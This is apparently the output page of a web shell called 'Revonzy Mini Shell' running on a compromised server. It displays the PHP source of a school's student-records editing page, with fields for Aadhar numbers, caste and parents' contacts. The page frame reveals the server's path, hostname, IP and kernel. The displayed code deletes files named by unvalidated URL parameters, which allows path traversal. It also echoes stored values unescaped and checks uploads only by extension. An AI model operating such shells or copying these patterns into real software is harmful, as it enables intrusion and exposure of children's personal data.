Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/spmsolapur.org/mis_software/bkp/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/spmsolapur.org/mis_software/bkp/edit-student.php

 <?php
require_once('header.php');

require_once('header-left-section.php');


	$flag				=	0;
	$success_flag		=	0;
	
	$about						=	"";
	$about1						=	"";
	$about2						=	"";
	$about3						=	"";
	$about4						=	"";
	$about5						=	"";
	$about6						=	"";
	$class_error				=	"";
	$medium_error				=	"";
	$division_error				=	"";
	$stud_contact_no_error		=	"";
	$father_contact_no_error	=	"";
	$mother_contact_no_error	=	"";
	$aadhar_no_error			=	"";
	$advertising_board	=	"";
	$news_paper			=	"";
	$teachers			=	"";
	$friends			=	"";
	$ex_students		=	"";
	$pre_class			=	"";
	$other				=	"";
	$actual_image_name	=	"";
	$actual_image_name1	=	"";
	$actual_image_name2	=	"";
	$res_id						=	"";
	$res_class					=	"";
	$res_medium					=	"";
	$res_division				=	"";
	$res_roll_no				=	"";
	$res_surname				=	"";
	$res_stud_name				=	"";
	$res_father_name			=	"";
	$res_mother_name			=	"";
	$res_stud_cont				=	"";
	$res_father_cont			=	"";
	$res_mother_cont			=	"";
	$res_residential_no			=	"";
	$res_address				=	"";
	$res_corres_add				=	"";
	$res_child_desc				=	"";
	$res_email					=	"";
	$res_aadhar_no				=	"";
	$res_religion				=	"";
	$res_caste					=	"";
	$res_category				=	"";
	$res_mother_tongue			=	"";
	$res_nationality			=	"";
	$res_birth_palce			=	"";
	$res_birth_date				=	"";
	$res_gender					=	"";
	$res_last_school			=	"";
	$res_admission_date			=	"";
	$res_blood_group			=	"";
	$res_height					=	"";
	$res_weight					=	"";
	$res_student_image			=	"";
	$res_birth_certi			=	"";
	$res_caste_certi			=	"";
	$res_adv_board				=	"";
	$res_news_paper				=	"";
	$res_teachers				=	"";
	$res_friends				=	"";
	$res_ex_students			=	"";
	$res_pre_class				=	"";
	$res_other					=	"";
	$res_remarks				=	"";
	$res_no_of_pupil			=	"";
	$res_stud_id_for_lc			=	"";
	$res_father_quali			=	"";
	$res_father_occu			=	"";
	$res_father_income			=	"";
	$res_father_office_add		=	"";
	$res_father_resident_add	=	"";
	$res_mother_qualifi			=	"";
	$res_mother_occupa			=	"";
	$res_mother_income			=	"";
	$res_mother_office_add		=	"";
	$res_mother_resident_add	=	"";
	$res_date					=	"";
	$res_gr_no					=	"";
	$res_birth_district			=	"";
	$res_birth_state			=	"";
	$res_birth_country			=	"";
	$res_sub_caste				=	"";
	$stud_contact_error			=	"";
	if(isset($_GET['edit_id']))
	{
		$edit_id	=	$_GET['edit_id'];
		$_SESSION['current_edit_id'] = $edit_id;
	}
	else if(isset($_SESSION['current_edit_id']))
	{

		$edit_id	= $_SESSION['current_edit_id'];
	}
	
	if(isset($_GET['del_img_id']))
	{
		$delete_id	=	$_GET['del_img_id'];
		
		$res_image	=	$_GET['del_image'];
		
		unlink('student_data/'.$res_image);
	
		$db->set_student_image_blank($delete_id);
	}
	
	if(isset($_GET['del_img_id1']))
	{
		$delete_id	=	$_GET['del_img_id1'];
		
		$res_image1	=	$_GET['del_image1'];
		
		unlink('student_data/'.$res_image1);
	
		$db->set_birth_certificate_blank($delete_id);
	}
	
	if(isset($_GET['del_img_id2']))
	{
		$delete_id	=	$_GET['del_img_id2'];
		
		$res_image2	=	$_GET['del_image2'];
		
		unlink('student_data/'.$res_image2);
	
		$db->set_caste_certificate_blank($delete_id);
	}
	
	if(isset($_POST['submit_btn']))
	{
		$class				= 	$_POST['class'];
		$medium				=	$_POST['medium'];
		$division			=	$_POST['division'];
		$roll_no			=	$_POST['roll_no'];
		$surname			=	$_POST['surname'];
		$stud_name			=	$_POST['stud_name']; 
		$father_name		=	$_POST['father_name'];
		$mother_name		=	$_POST['mother_name'];
		$stud_contact     	=   $_POST['stud_contact'];
		$father_contact		=	$_POST['father_contact'];
		$mother_contact		=	$_POST['mother_contact'];
		$residential_no	    =	$_POST['residential_no'];
		$address	    	=	$_POST['address'];
		$cor_address		= 	$_POST['cor_address'];
		$child_desc			=	$_POST['child_desc'];
		$email				=	$_POST['email'];
		$aadhar_number		=	$_POST['aadhar_number'];
		$religion			=	$_POST['religion'];
		$caste				=	$_POST['caste']; 
		$category			=	$_POST['category'];
		$mother_tongue		=	$_POST['mother_tongue'];
		$nationality    	=   $_POST['nationality'];
		$birth_place		=	$_POST['birth_place'];
		$birth_date			=	$_POST['birth_date'];
		$gender	    		=	$_POST['gender'];
		$last_school		=	$_POST['last_school'];
		$admission_date	    =	$_POST['admission_date'];
		$blood_group		= 	"";
		$height				=	"";
		$weight				=	"";
		$remarks			=	$_POST['remarks'];
		$no_of_pupil		=	$_POST['no_of_pupil']; 
		$stud_id_for_lc		=	$_POST['stud_id_for_lc'];
		$g_r_no				=	"";
		$qualification		=	"";
		$occupation    		=   "";
		$monthly_income		=	"";
		$office_add			=	"";
		$residential_add	=	"";
		$mother_qualifi		=	"";
		$mother_occupation	=	"";
		$mother_income    	=   "";
		$mother_office_add	=	"";
		$mother_resident_add=	"";
		$certifi_no			=	$_POST['certifi_no'];
		$progress			=	$_POST['progress'];
		$conduct			=	$_POST['conduct'];
		$leaving_school_date    =   $_POST['leaving_school_date'];
		$standard_sinse_when	=	$_POST['standard_sinse_when'];
		$leaving_school_reason	=	$_POST['leaving_school_reason'];
		$birth_district		=	$_POST['birth_district'];
		$birth_state		=	$_POST['birth_state'];
		$birth_country		=	$_POST['birth_country'];
		//news
		$sub_caste			=	$_POST['sub_caste'];		
		//blank
		$news_paper			=	"";
		$teachers			=	"";
		$friends			=	"";
		$ex_students		=	"";
		$pre_class			=	"";
		$other				=	"";
		$advertising_board	=	"";
		$tc_status			=	"";
		if($class=="Select Class")
		{
			$class_error	=	1;
			$flag	=	1;
		}
		if($medium=="Select Medium")
		{
			$medium_error	=	1;
			$flag	=	1;			
		}
		if($division=="Select Division")
		{
			$division_error	=	1;
			$flag	=	1;
		}
		
		if(strlen($stud_contact)<10 or strlen($stud_contact)>10)
		{
			$flag=1;
			$stud_contact_no_error	= "1";
		}
		if(strlen($father_contact)<10 or strlen($father_contact)>10)
		{
			$flag=1;
			$father_contact_no_error	= "1";
		}
		if(strlen($mother_contact)<10 or strlen($mother_contact)>10)
		{
			$flag=1;
			$mother_contact_no_error	= "1";
		}
		if(strlen($aadhar_number)<12 or strlen($aadhar_number)>12)
		{
			$flag=1;
			$aadhar_no_error	= "1";
		}
		
		if($flag==0)
		{			
			if($db->update_student_information($class,$medium,$division,$roll_no,$surname,$stud_name,$father_name,$mother_name,$stud_contact,$father_contact,$mother_contact,$residential_no,$address,$cor_address,$child_desc,$email,$aadhar_number,$religion,$caste,$category,$mother_tongue,$nationality,$birth_place,$birth_date,$gender,$last_school,$admission_date,$blood_group,$height,$weight,$advertising_board,$news_paper,$teachers,$friends,$ex_students,$pre_class,$other,$remarks,$no_of_pupil,$stud_id_for_lc,$g_r_no,$tc_status,$qualification,$occupation,$monthly_income,$office_add,$residential_add,$mother_qualifi,$mother_occupation,$mother_income,$mother_office_add,$mother_resident_add,$certifi_no,$progress,$conduct,$leaving_school_date,$standard_sinse_when,$leaving_school_reason,$birth_district,$birth_state,$birth_country,$sub_caste,$edit_id)
)
			{
				$success_flag = 1;
			}
		}	
		
	}
	
	if(isset($_POST['edit_stud_image']))
	{
		$path = "student_data/";

		$valid_formats = array("jpg", "png", "gif", "bmp", "JPG", "PNG", "GIF", "BMP");
		
		function generateRandomString($length = 10) {
			$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
			$charactersLength = strlen($characters);
			$randomString = '';
			for ($i = 0; $i < $length; $i++) {
				$randomString .= $characters[rand(0, $charactersLength - 1)];
			}
			
			return $randomString;
		}
		
		if(isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST")
		{
			$name 				= 	$_FILES['stud_image']['name'];
			$size 				= 	$_FILES['stud_image']['size'];
		
			if(strlen($name))
			{
				list($txt, $ext) = explode(".", $name);
				if(in_array($ext,$valid_formats))
				{
					if($_FILES['stud_image']['size'] < 10485760)	//10MB File size
					{
						$files	=	array();

						$current_random_no =  generateRandomString();
						
						$actual_image_name = $current_random_no.".".strtolower($ext);
						
						$tmp = $_FILES['stud_image']['tmp_name'];
						
						if(move_uploaded_file($tmp, $path.$actual_image_name))
						{
							$current_image = $db->get_student_image_icon($edit_id);
							if($current_image!="")
							{
								unlink('student_data/'.$current_image);
							}
						}
						else
						{
							$error_message = "failed";
						}
					}
					else
					{
						$error_message = "File size exceeded";
					}
				}
				else
				{
					$error_message = "Invalid file format.";	
				}
			}
			else
			{
				$error_message = "Please select image..!";
				
			}
				
			if($flag==0)
			{
				if($db->update_student_image($actual_image_name,$edit_id))
				{
					$success_flag	=	1;
				}
			}
		}
	}
	
	if(isset($_POST['edit_birth_certi']))
	{
		$path = "student_data/";

		$valid_formats = array("jpg", "png", "gif", "bmp", "JPG", "PNG", "GIF", "BMP");
		
		function generateRandomString($length = 10) {
			$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
			$charactersLength = strlen($characters);
			$randomString = '';
			for ($i = 0; $i < $length; $i++) {
				$randomString .= $characters[rand(0, $charactersLength - 1)];
			}
			
			return $randomString;
		}
		if(isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST")
		{
			$name 				= 	$_FILES['birth_certificate']['name'];
			$size 				= 	$_FILES['birth_certificate']['size'];
		
			if(strlen($name))
			{
				list($txt, $ext) = explode(".", $name);
				if(in_array($ext,$valid_formats))
				{
					if($_FILES['birth_certificate']['size'] < 10485760)	//10MB File size
					{
						$files	=	array();
								
						$current_random_no =  generateRandomString();
						
						$actual_image_name1 = $current_random_no.".".strtolower($ext);
						
						$tmp = $_FILES['birth_certificate']['tmp_name'];
						
						if(move_uploaded_file($tmp, $path.$actual_image_name1))
						{
							$current_image = $db->get_birth_certificate_image($edit_id);
							if($current_image!="")
							{
								unlink('student_data/'.$current_image);
							}
						}
						else
						{
							$error_message = "failed";
						}
					}
					else
					{
						$error_message = "File size exceeded";
					}
				}
				else
				{
					$error_message = "Invalid file format.";	
				}
			}
			else
			{
				$error_message = "Please select image..!";
				
			}
				
			if($flag==0)
			{
				if($db->update_birth_certificate_image($actual_image_name1,$edit_id))
				{
					$success_flag	=	1;
				}
			}
		}
	}
		
	if(isset($_POST['edit_caste_certi']))
	{
		$path = "student_data/";

		$valid_formats = array("jpg", "png", "gif", "bmp", "JPG", "PNG", "GIF", "BMP");
		
		function generateRandomString($length = 10) {
			$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
			$charactersLength = strlen($characters);
			$randomString = '';
			for ($i = 0; $i < $length; $i++) {
				$randomString .= $characters[rand(0, $charactersLength - 1)];
			}
			
			return $randomString;
		}
		if(isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST")
		{
			$name 				= 	$_FILES['caste_certificate']['name'];
			$size 				= 	$_FILES['caste_certificate']['size'];
		
			if(strlen($name))
			{
				list($txt, $ext) = explode(".", $name);
				if(in_array($ext,$valid_formats))
				{
					if($_FILES['caste_certificate']['size'] < 10485760)	//10MB File size
					{
						$files	=	array();
								
						$current_random_no =  generateRandomString();
						
						$actual_image_name2 = $current_random_no.".".strtolower($ext);
						
						$tmp = $_FILES['caste_certificate']['tmp_name'];
						
						if(move_uploaded_file($tmp, $path.$actual_image_name2))
						{
							$current_image = $db->get_caste_certificate_image($edit_id);
							if($current_image!="")
							{
								unlink('student_data/'.$current_image);
							}
						}
						else
						{
							$error_message = "failed";
						}
					}
					else
					{
						$error_message = "File size exceeded";
					}
				}
				else
				{
					$error_message = "Invalid file format.";	
				}
			}
			else
			{
				$error_message = "Please select image..!";
				
			}
				
			if($flag==0)
			{
				if($db->update_caste_certificate_image($actual_image_name2,$edit_id))
				{
					$success_flag	=	1;
				}
			}
		}
	}
	
		$data	=	array();

		$data	=	$db->get_all_student_info($edit_id);

		if(!empty($data))
		{		
				$res_id					=	$data[0];
				$res_class				=	$data[1];
				$res_medium				=	$data[2];
				$res_division			=	$data[3];
				$res_roll_no			=	$data[4];
				$res_surname			=	$data[5];
				$res_stud_name			=	$data[6];
				$res_father_name		=	$data[7];
				$res_mother_name		=	$data[8];
				$res_stud_cont			=	$data[9];
				$res_father_cont		=	$data[10];
				$res_mother_cont		=	$data[11];
				$res_residential_no		=	$data[12];
				$res_address			=	$data[13];
				$res_corres_add			=	$data[14];
				$res_child_desc			=	$data[15];
				$res_email				=	$data[16];
				$res_aadhar_no			=	$data[17];
				$res_religion			=	$data[18];
				$res_caste				=	$data[19];
				$res_category			=	$data[20];
				$res_mother_tongue		=	$data[21];
				$res_nationality		=	$data[22];
				$res_birth_palce		=	$data[23];
				$res_birth_date			=	$data[24];
				$res_gender				=	$data[25];
				$res_last_school		=	$data[26];
				$res_admission_date		=	$data[27];
				$res_blood_group		=	$data[28];
				$res_height				=	$data[29];
				$res_weight				=	$data[30];
				$res_student_image		=	$data[31];
				$res_birth_certi		=	$data[32];
				$res_caste_certi		=	$data[33];
				$res_adv_board			=	$data[34];
				$res_news_paper			=	$data[35];
				$res_teachers			=	$data[36];
				$res_friends			=	$data[37];
				$res_ex_students		=	$data[38];
				$res_pre_class			=	$data[39];
				$res_other				=	$data[40];
				$res_remarks			=	$data[41];
				$res_no_of_pupil		=	$data[42];
				$res_stud_id_for_lc		=	$data[43];			
				$res_father_quali		=	$data[44];
				$res_father_occu		=	$data[45];
				$res_father_income		=	$data[46];
				$res_father_office_add	=	$data[47];
				$res_father_resident_add=	$data[48];
				$res_mother_qualifi		=	$data[49];
				$res_mother_occupa		=	$data[50];
				$res_mother_income		=	$data[51];
				$res_mother_office_add	=	$data[52];
				$res_mother_resident_add=	$data[53];
				$res_certifi_no				=	$data[54];
				$res_progress				=	$data[55];
				$res_conduct				=	$data[56];
				$res_leaving_school_date	=	$data[57];
				$res_standard_sinse_when	=	$data[58];
				$res_leaving_school_reason	=	$data[59];
				$res_date				=	$data[60];
				$res_time				=	$data[61];
				$res_gr_no				=	$data[62];	
				$res_tc_status			=	$data[63];
				$res_birth_district		=	$data[64];
				$res_birth_state		=	$data[65];
				$res_birth_country		=	$data[66];
				$res_acd_year			=	$data[67];
				$res_sub_caste			=	$data[68];

				$class_data = $db->get_class_title_master_details($res_class);
				$class_name 	= $class_data[1];
		}
	
?> 
 <style>
.form-control
{
	background-color:#FFF !important;
}
h1
{
	text-align:center;
	color:#101566;
	font-weight:bold;
	
}
.content
{
	margin:10px;
}
</style> 
 <!-- Content Wrapper. Contains page content -->
  <div class="content-wrapper" style="background-color:#D3D5F5;">
    <!-- Content Header (Page header) -->
    <section class="content-header">
      <div class="container-fluid">
        <div class="row mb-2">
          <div class="col-sm-12">
            <h1>EDIT STUDENT DETAILS</h1>
          </div>
          </div>
      </div><!-- /.container-fluid -->
    </section>
	
    <!-- Main content -->
	 <form method="POST" action="<?php echo $_SERVER['PHP_SELF'] ?>" enctype="multipart/form-data" autocomplete="off">

    <section class="content">
      <div class="row">
        <div class="col-md-12">
          <div class="card card-primary">
            
          <div class="card-body">
		  <?php
		if($success_flag==1)
		{
	?>
		
		<div class="alert alert-success">
		<span class="alert-link">Success! </span>Record Updated successfully.
		</div>	
	<?php
		}
	?>
			
	<?php
		if($success_flag==2)
		{
	?>
		
		<div class="alert alert-danger">
		<span class="alert-link">Failed! </span>This Record Already Exist.
		</div>	
	<?php
		}
	?>
	<?php
		if($stud_contact_no_error==1 OR $father_contact_no_error==1 OR $mother_contact_no_error==1)
		{
	?>
		
		<div class="alert alert-danger">
		<span class="alert-link">Failed! </span>Please Enter Valid 10 Digit Contact Number.
		</div>	
	<?php
		}
	?>
	
	<?php
		if($aadhar_no_error==1)
		{
	?>
		
		<div class="alert alert-danger">
		<span class="alert-link">Failed! </span>Please Enter Valid 12 Digit Aadhar Number.
		</div>	
	<?php
		}
	?>
	
	<?php
		if($class_error==1)
		{
	?>
		
		<div class="alert alert-danger">
		<span class="alert-link">Failed! </span>Please Select Department.
		</div>	
	<?php
		}
	?>
	<?php
		if($medium_error==1)
		{
	?>
		
		<div class="alert alert-danger">
		<span class="alert-link">Failed! </span>Please Select Year.
		</div>	
	<?php
		}
	?>
	<?php
		if($division_error==1)
		{
	?>
		
		<div class="alert alert-danger">
		<span class="alert-link">Failed! </span>Please Select Division.
		</div>	
	<?php
		}
	?>
            <div class="row" style="background-color:#E4E4EC;">
              <div class="form-group col-lg-3">
			<label>Select Department:</label>
			<select name="class" class="form-control">
				<?php
					if($res_class!="")
					{
						$class_data = $db->get_class_title_master_details($res_class);
						$class_name 	= $class_data[1];
						
				?>
				<option value="<?php echo $res_class; ?>"><?php echo $class_name; ?></option>
				<?php
					}
				?>
				<option value="Select Class"> Select Department</option>
				<?php
					$data	=	array();
		
					$data	=	$db->get_all_class_title_master_data();
					
					if(!empty($data))
					{
						$counter	=	0;
						
						foreach($data as $record)
						{
							$res_id				=	$data[$counter][0];
							$res_class_title 	=	$data[$counter][1];
							$res_date			=	$data[$counter][2];
							
					?>
					<option value="<?php echo $res_id; ?>"><?php echo $res_class_title; ?></option>
					<?php
							$counter++;
						}
					}
				?>											
			</select>
			<!--<span class="error_indicator"><?php echo $main_title_error; ?></span>-->
		</div>
		<div class="form-group col-lg-3" >
			<label><span style="color:red;">*</span> Select Medium:</label>
			<select class="form-control" name="medium">
				<?php
					if($res_medium!="")
					{
				?>
				<option value="<?php echo $res_medium; ?>"><?php echo $res_medium; ?></option>
				<?php
					}
				?>
				<option value="Select Medium">Select Year</option>
					<option value="1st Year">1st Year</option>
					<option value="2nd Year">2nd Year</option>
					<option value="3rd Yeaar">3rd Yeaar</option>
			</select>
		</div>
		<div class="form-group col-lg-3">
			<label><span style="color:red;">*</span> Division: </label>
			<select name="division" class="form-control">
				<?php
					if($res_division!="")
					{
						
				?>
				<option value="<?php echo $res_division; ?>"><?php echo $res_division; ?></option>
				<?php
					}
				?>
				<option value="Select Division">Select Division</option>
				<?php
		
					$division_data	=	array();
					
					$division_data	=	$db->get_all_division_master_data();
					
					if(!empty($division_data))
					{
						$counter	=	0;
						
						foreach($division_data as $record)
						{
							$res_id			=	$division_data[$counter][0];
							$res_division	=	$division_data[$counter][1];
							$res_date		=	$division_data[$counter][2];
							
					?>
					<option value="<?php echo $res_division; ?>"><?php echo $res_division; ?></option>
				<?php
						$counter++;
						}
					}
				?>	
			</select>
		</div>
		<div class="form-group col-lg-3">
			<label><span style="color:red;">*</span> Roll no:</label>
			<input type="text" class="form-control" name="roll_no" placeholder="Enter Roll No." value="<?php echo $res_roll_no; ?>" />
		</div>
		<div class="form-group col-lg-3">
			<label><span style="color:red;">*</span> Surname:</label>
			<input type="text" class="form-control" name="surname" placeholder="Enter Student Surname." value="<?php echo $res_surname; ?>" required />
		</div>
		<div class="form-group col-lg-3">
			<label><span style="color:red;">*</span> Student's Name:</label>
			<input type="text" class="form-control" name="stud_name" placeholder="Enter Student's Name." value="<?php echo $res_stud_name; ?>" required   />
		</div>
		<div class="form-group col-lg-3">
			<label><span style="color:red;">*</span> Father's Name:</label>
			<input type="text" class="form-control" name="father_name" placeholder="Enter Father's Name." value="<?php echo $res_father_name; ?>" required />
		</div>
		<div class="form-group col-lg-3">
			<label><span style="color:red;">*</span> Mother's Name:</label>
			<input type="text" class="form-control" name="mother_name" placeholder="Enter Mother's Name." value="<?php echo $res_mother_name; ?>" required />
		</div>
		<div class="form-group col-lg-3">
			<label>Student Contact No:</label>
			<input type="number" class="form-control" name="stud_contact" placeholder="Enter Student Contact No." value="<?php echo $res_stud_cont; ?>"required  />
		</div>
		<div class="form-group col-lg-3">
			<label><span style="color:red;">*</span> Father's Contact No:</label>
			<input type="number" class="form-control" name="father_contact" placeholder="Enter Father's Contact No." value="<?php echo $res_father_cont; ?>" required />
		</div>
		<div class="form-group col-lg-3">
			<label><span style="color:red;">*</span> Mother's Contact No:</label>
			<input type="number" class="form-control" name="mother_contact" placeholder="Enter Mother's Contact No." value="<?php echo $res_mother_cont; ?>" required />
		</div>
		<div class="form-group col-lg-3">
			<label>Residential Phone No:</label>
			<input type="number" class="form-control" name="residential_no" placeholder="Enter Residential Phone No." value="<?php echo $res_residential_no; ?>" />
		</div>
		<div class="form-group col-lg-3">
			<label>Address:</label>
			<textarea class="form-control" name="address" placeholder="Enter Address." style="resize:none;" ><?php echo $res_address; ?></textarea>
		</div>
		<div class="form-group col-lg-3">
			<label>Correspondence  Address:</label>
			<textarea class="form-control" name="cor_address" placeholder="Enter Correspondence Address." style="resize:none;" ><?php echo $res_corres_add; ?></textarea>
		</div>
		<div class="form-group col-lg-3">
			<label>Student Description:</label>
			<textarea class="form-control" name="child_desc" placeholder="Enter Student Description." style="resize:none;" ><?php echo $res_child_desc; ?></textarea>
		</div>
		<div class="form-group col-lg-3">
			<label><span style="color:red;">*</span> Email Id:</label>
			<input type="text" class="form-control" name="email" placeholder="Enter Email id." value="<?php echo $res_email; ?>"  required />
		</div>
		<div class="form-group col-lg-3">
			<label><span style="color:red;">*</span> Aadhar Number:</label>
			<input type="number" class="form-control" name="aadhar_number" placeholder="Enter Aadhar Number." value="<?php echo $res_aadhar_no; ?>" required  />
		</div>
		<div class="form-group col-lg-3">
			<label>Religion:</label>
			<input type="text" class="form-control" name="religion" placeholder="Enter Religion." value="<?php echo $res_religion; ?>" />
		</div>
		<div class="form-group col-lg-3">
			<label>Caste:</label>
			<input type="text" class="form-control" name="caste" placeholder="Enter Caste." value="<?php echo $res_caste; ?>" />
		</div>
		<div class="form-group col-lg-3">
			<label>Sub Caste:</label>
			<input type="text" class="form-control" name="sub_caste" placeholder="Enter Sub Caste." value="<?php echo $res_sub_caste; ?>" />
		</div>
		<div class="form-group col-lg-3">
			<label>Category:</label>
			<input type="text" class="form-control" name="category" placeholder="Enter Category." value="<?php echo $res_category; ?>" />
		</div>
		<div class="form-group col-lg-3">
			<label>Mother Tongue:</label>
			<input type="text" class="form-control" name="mother_tongue" placeholder="Enter Mother Tongue." value="<?php echo $res_mother_tongue; ?>" />
		</div>
		<div class="form-group col-lg-3">
			<label>Nationality:</label>
			<input type="text" class="form-control" name="nationality" placeholder="Enter Nationality." value="<?php echo $res_nationality; ?>" />
		</div>
		<div class="form-group col-lg-3">
			<label>Birth Place:</label>
			<input type="text" class="form-control" name="birth_place" placeholder="Enter Birth Place." value="<?php echo $res_birth_palce; ?>" />
		</div>
		<div class="form-group col-lg-3">
			<label>District Place:</label>
			<input type="text" class="form-control" name="birth_district" placeholder="Enter Birth District." value="<?php echo $res_birth_district; ?>" />
		</div>
		<div class="form-group col-lg-3">
			<label>State Place:</label>
			<input type="text" class="form-control" name="birth_state" placeholder="Enter Birth State." value="<?php echo $res_birth_state; ?>" />
		</div>
		<div class="form-group col-lg-3">
			<label>Country Place:</label>
			<input type="text" class="form-control" name="birth_country" placeholder="Enter Birth Country." value="<?php echo $res_birth_country; ?>" />
		</div>
		<div class="form-group col-lg-3">
			<label>Date Of Birth:</label>
			<input type="text" class="form-control" name="birth_date" id="birth_date" placeholder="Enter Date Of Birth." value="<?php echo $res_birth_date; ?>" required />
		</div>
		<div class="form-group col-lg-3">
			<label>Gender</label>
			<label class="radio-inline">
				<input type="radio" name="gender" value="Male" <?php if($res_gender=="Male"){ ?>Checked<?php }?>>Male
			</label>
			<label class="radio-inline">
				<input type="radio" name="gender" value="Female" <?php if($res_gender=="Female"){ ?>Checked<?php }?>>Female
			</label>
		</div>
		
		<div class="form-group col-lg-3">
			<label>Last School Attended:</label>
			<input type="text" class="form-control" name="last_school" placeholder="Enter Last School Attended." value="<?php echo $res_last_school; ?>" />
		</div>
		<div class="form-group col-lg-3">
			<label>Date Of Admission:</label>
			<input type="text" class="form-control" name="admission_date" id="admission_date" placeholder="Enter Date Of Admission." value="<?php echo $res_admission_date; ?>" />
		</div>
		
		
		<div class="form-group col-lg-3">
			<label>Remarks:</label>
			<input type="text" class="form-control" name="remarks" placeholder="Enter Remarks." value="<?php echo $res_remarks; ?>" />
		</div>
		<div class="form-group col-lg-3">
			<label>Gen. Reg. No of Pupil:</label>
			<input type="text" class="form-control" name="no_of_pupil" placeholder="Enter Gen. Reg. No of Pupil." value="<?php echo $res_no_of_pupil; ?>" />
		</div>
		<div class="form-group col-lg-3">
			<label>Student Id for LC:</label>
			<input type="text" class="form-control" name="stud_id_for_lc" placeholder="Enter Student Id for LC." value="<?php echo $res_certifi_no; ?>" />
		</div>
		
			<div class="form-group col-lg-3">
				<label>Certificate No:</label>
				<input class="form-control" name="certifi_no" placeholder="Enter Certificate No." value="<?php echo $res_stud_id_for_lc; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label>Progress:</label>
				<input type="text" class="form-control" name="progress" placeholder="Enter Progress." value="<?php echo $res_progress; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label>Conduct:</label>
				<input type="text" class="form-control" name="conduct" placeholder="Enter Conduct." value="<?php echo $res_conduct; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label>Date of Leaving School:</label>
				<input type="text" class="form-control" name="leaving_school_date" id="leaving_school_date" placeholder="Enter Date of Leaving School." value="<?php echo $res_leaving_school_date; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label>Std In Wh Studying & Since Whn:</label>
				<input type="text" class="form-control" name="standard_sinse_when" placeholder="Enter Standard In Which Studying And Sinse When." value="<?php echo $res_standard_sinse_when; ?>" />
			</div>
			<div class="form-group col-lg-3">
				<label>Reason of Leaving School:</label>
				<input type="text" class="form-control" name="leaving_school_reason" placeholder="Enter Reason of Leaving School." value="<?php echo $res_leaving_school_reason; ?>" />
			</div>
                <!-- /.form-group -->
              </div>
              <!-- /.col -->
            </div>
            <!-- /.row -->
		
      <div class="row">
        <div class="col-12">
		 <center> 
		 <a href="student-report.php" class="btn btn-warning float-left"><< Back To Report </a>
          <input type="submit" value="UPDATE STUDENT DETAILS" name="submit_btn" class="btn btn-success">		 </center>
        </div>
		
      </div>
    </section>
	</form>
	
	<form method="POST" action="<?php echo $_SERVER['PHP_SELF'] ?>" enctype="multipart/form-data" autocomplete="off">
	<section class="content">
      <div class="row">
        <div class="col-md-12">
          <div class="card card-primary">
            
          <div class="card-body">
		  <div class="row">
			<label>Edit/Update Student Image:</label><br />
			<?php
				if($res_student_image!="")
				{
			?>
				<img src="/student_data/<?php echo $res_student_image; ?>" height="50" width="50" />
				<br />
				<a href="<?php echo $_SERVER['PHP_SELF']."?del_img_id=".$edit_id."&del_image=".$res_student_image; ?>">Remove Image</a>
				<br /><br />
			<?php
				}
			?>
			
			<input type="file" name="stud_image" value="<?php echo $res_student_image; ?>"><br />
			
			<div class="form-group col-lg-4" style="text-align:center;">
				<button type="submit" class="btn btn-primary" name="edit_stud_image">Update file</button>
			</div>
		</div>
              <!-- /.col -->
            </div>
    </section>
	</form>	
	
	<form method="POST" action="<?php echo $_SERVER['PHP_SELF'] ?>" enctype="multipart/form-data" autocomplete="off">
	<section class="content">
      <div class="row">
        <div class="col-md-12">
          <div class="card card-primary">
            
          <div class="card-body">
		  <div class="row">
			
		<label>Edit/Update Birth Certificate:</label><br />
		<?php
			if($res_birth_certi!="")
			{
		?>
			<img src="/student_data/<?php echo $res_birth_certi; ?>" height="50" width="50" />
			<br />
			<a href="<?php echo $_SERVER['PHP_SELF']."?del_img_id1=".$edit_id."&del_image1=".$res_birth_certi; ?>">Remove Image</a>
			<br /><br />
		<?php
			}
		?>
		
		<input type="file" name="birth_certificate" value="<?php echo $res_birth_certi; ?>"required><br />
	
		<div class="form-group col-lg-4" style="text-align:center;">
			<button type="submit" class="btn btn-info" name="edit_birth_certi">Update file</button>
		</div>
	</div>	 
        </div>
      </div>
    </section>
	</form>	
	
	
	<form method="POST" action="<?php echo $_SERVER['PHP_SELF'] ?>" enctype="multipart/form-data" autocomplete="off">
	<section class="content">
      <div class="row">
        <div class="col-md-12">
          <div class="card card-primary">
            
          <div class="card-body">
		  <div class="row">
			<label>Edit/Update Caste Certificate:</label><br />
			<?php
				if($res_caste_certi!="")
				{
			?>
				<img src="/student_data/<?php echo $res_caste_certi; ?>" height="50" width="50" />
				<br />
				<a href="<?php echo $_SERVER['PHP_SELF']."?del_img_id2=".$edit_id."&del_image2=".$res_caste_certi; ?>">Remove Image</a>
				<br /><br />
			<?php
				}
			?>
			
			<input type="file" name="caste_certificate" value="<?php echo $res_caste_certi; ?>"required><br />
			
			<div class="form-group col-lg-4" style="text-align:center;">
				<button type="submit" class="btn btn-danger" name="edit_caste_certi">Update file</button>
			</div>
               
      </div>
    </section>
	</form>	
   
  
  <!-- /.content-wrapper -->
  <?php
require_once('footer.php');
?> 
<link rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css">
  <script src="https://code.jquery.com/jquery-1.12.4.js"></script>
  <script src="https://code.jquery.com/ui/1.12.1/jquery-ui.js"></script>
 <script> 
 $(document).ready(function() {
 
    $( "#birth_date" ).datepicker({ dateFormat: 'dd-mm-yy' });
	$( "#admission_date" ).datepicker({ dateFormat: 'dd-mm-yy' });
	$( "#leaving_school_date" ).datepicker({ dateFormat: 'dd-mm-yy' });
  } );
 </script>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4